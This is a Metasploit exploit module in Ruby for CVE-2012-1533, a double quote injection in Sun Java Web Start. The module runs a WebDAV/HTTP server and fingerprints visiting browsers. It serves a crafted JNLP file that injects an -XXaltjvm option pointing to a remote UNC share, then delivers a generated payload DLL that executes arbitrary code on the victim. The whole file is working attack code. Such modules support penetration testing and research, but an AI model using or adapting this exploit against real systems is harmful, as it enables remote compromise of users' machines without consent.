##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sun Java Web Start Double Quote Injection',
			'Description'    => %q{
					This module exploits a flaw in the Web Start component of the Sun Java
				Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
				file can contain a double quote which is not properly sanitized when creating
				the command line for javaw.exe. This allows the injection of the -XXaltjvm
				option to load a jvm.dll from a remote UNC path into the java process. Thus
				an attacker can execute arbitrary code in the context of a browser user.
				This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.

				In order for this module to work, it must be run as root on a server that
				does not serve SMB (In most cases, this means non-Windows hosts). Additionally,
				the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
				Alternatively, a UNC path containing a jvm.dll can be specified, bypassing
				the Windows limitation for the Metasploit host.
			},
			'Author'         =>
				[
					# NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 jva_ws_vmargs
					'Rh0 <rh0[at]z1p.biz>' # discovery and msf module
				],
			'References'     =>
				[
					[ 'CVE', '2012-1533' ],
					[ 'OSVDB', '86348' ],
					[ 'BID' , '56046'],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
					[ 'URL', 'http://pastebin.com/eUucVage ']
				],
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => '',
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					[ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 16 2012'
		))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
				OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
			], self.class)
	end


	def auto_target(cli, request)
		agent = request.headers['User-Agent']

		ret = nil
		#print_status("Agent: #{agent}")
		# Check for MSIE and/or WebDAV redirector requests
		if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
			ret = targets[1]
		elsif agent =~ /MSIE (6|7|8)\.0/
			ret = targets[1]
		else
			print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
		end

		ret
	end


	def on_request_uri(cli, request)

		# For this exploit, this does little besides ensures the user agent is a recognized one..
		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			if (not mytarget)
				send_not_found(cli)
				return
			end
		end

		# Special case to process OPTIONS for /
		if (request.method == 'OPTIONS' and request.uri == '/')
			process_options(cli, request, mytarget)
			return
		end

		# Discard requests for ico files
		if (request.uri =~ /\.ico$/i)
			send_not_found(cli)
			return
		end

		# If there is no subdirectory in the request, we need to redirect.
		if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
			if (request.uri == '/')
				subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
			else
				subdir = request.uri + '/'
			end
			print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
			send_redirect(cli, subdir)
			return
		else
			share_name = $1
		end

		# dispatch WebDAV requests based on method first
		case request.method
		when 'OPTIONS'
			process_options(cli, request, mytarget)
		when 'PROPFIND'
			process_propfind(cli, request, mytarget)
		when 'GET'
			process_get(cli, request, mytarget, share_name)
		when 'PUT'
			print_status("Sending 404 for PUT #{request.uri} ...")
			send_not_found(cli)
		else
			print_error("Unexpected request method encountered: #{request.method}")
		end

	end

	#
	# GET requests
	#
	def process_get(cli, request, target, share_name)

		print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
		# dispatch based on extension
		if (request.uri =~ /\.dll$/i)
			#
			# DLL requests sent by IE and the WebDav Mini-Redirector
			#
			print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
			# Re-generate the payload
			return if ((p = regenerate_payload(cli)) == nil)
			# Generate a DLL based on the payload
			dll_data = generate_payload_dll({ :code => p.encoded })
			# Send it :)
			send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
		elsif (request.uri =~ /\.jnlp$/i)
			#
			# Send the jnlp document
			#
			# Prepare the UNC path...
			if (datastore['UNCPATH'])
				unc = datastore['UNCPATH'].dup
			else
				my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
				unc = "\\\\" + my_host + "\\" + share_name
			end

			# NOTE: we ensure there's only a single backslash here since it will get escaped
			if unc[0,2] == "\\\\"
				unc.slice!(0, 1)
			end

			# use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
			# inject a parameter into the command line of javaw.exe
			# codebase, href and application-desc parameters successfully suppress java splash
			jnlp_data = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp">
<information>
<title>Download</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
</information>
<resources>
<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
</resources>
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" />
</jnlp>
EOS
			print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
		else
			print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
			jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
			jnlp_path = get_resource()
			if jnlp_path[-1,1] != '/'
				jnlp_path << '/'
			end
			jnlp_path << request.uri.split('/')[-1] << '/'
			jnlp_path << jnlp_name << ".jnlp"
			send_redirect(cli, jnlp_path, '')
		end

	end

	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request, target)
		print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
		headers = {
			#'DASL'   => '<DAV:sql>',
			#'DAV'    => '1, 2',
			'Allow'  => 'OPTIONS, GET, PROPFIND',
			'Public' => 'OPTIONS, GET, PROPFIND'
		}
		send_response(cli, '', headers)
	end


	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request, target)
		path = request.uri
		print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
		body = ''

		if (path =~ /\.dll$/i)
			# Response for the DLL
			print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
			body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
		elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
			# Response for anything else (generally just /)
			print_status("Sending directory multistatus for #{path} ...")
			body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
		else
			print_status("Sending 404 for #{path} ...")
			send_not_found(cli)
			return
		end
		# send the response
		resp = create_response(207, "Multi-Status")
		resp.body = body
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end


	#
	# Make sure we're on the right port/path to support WebDAV
	#
	def exploit
		if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
			raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
		end
		super
	end

end
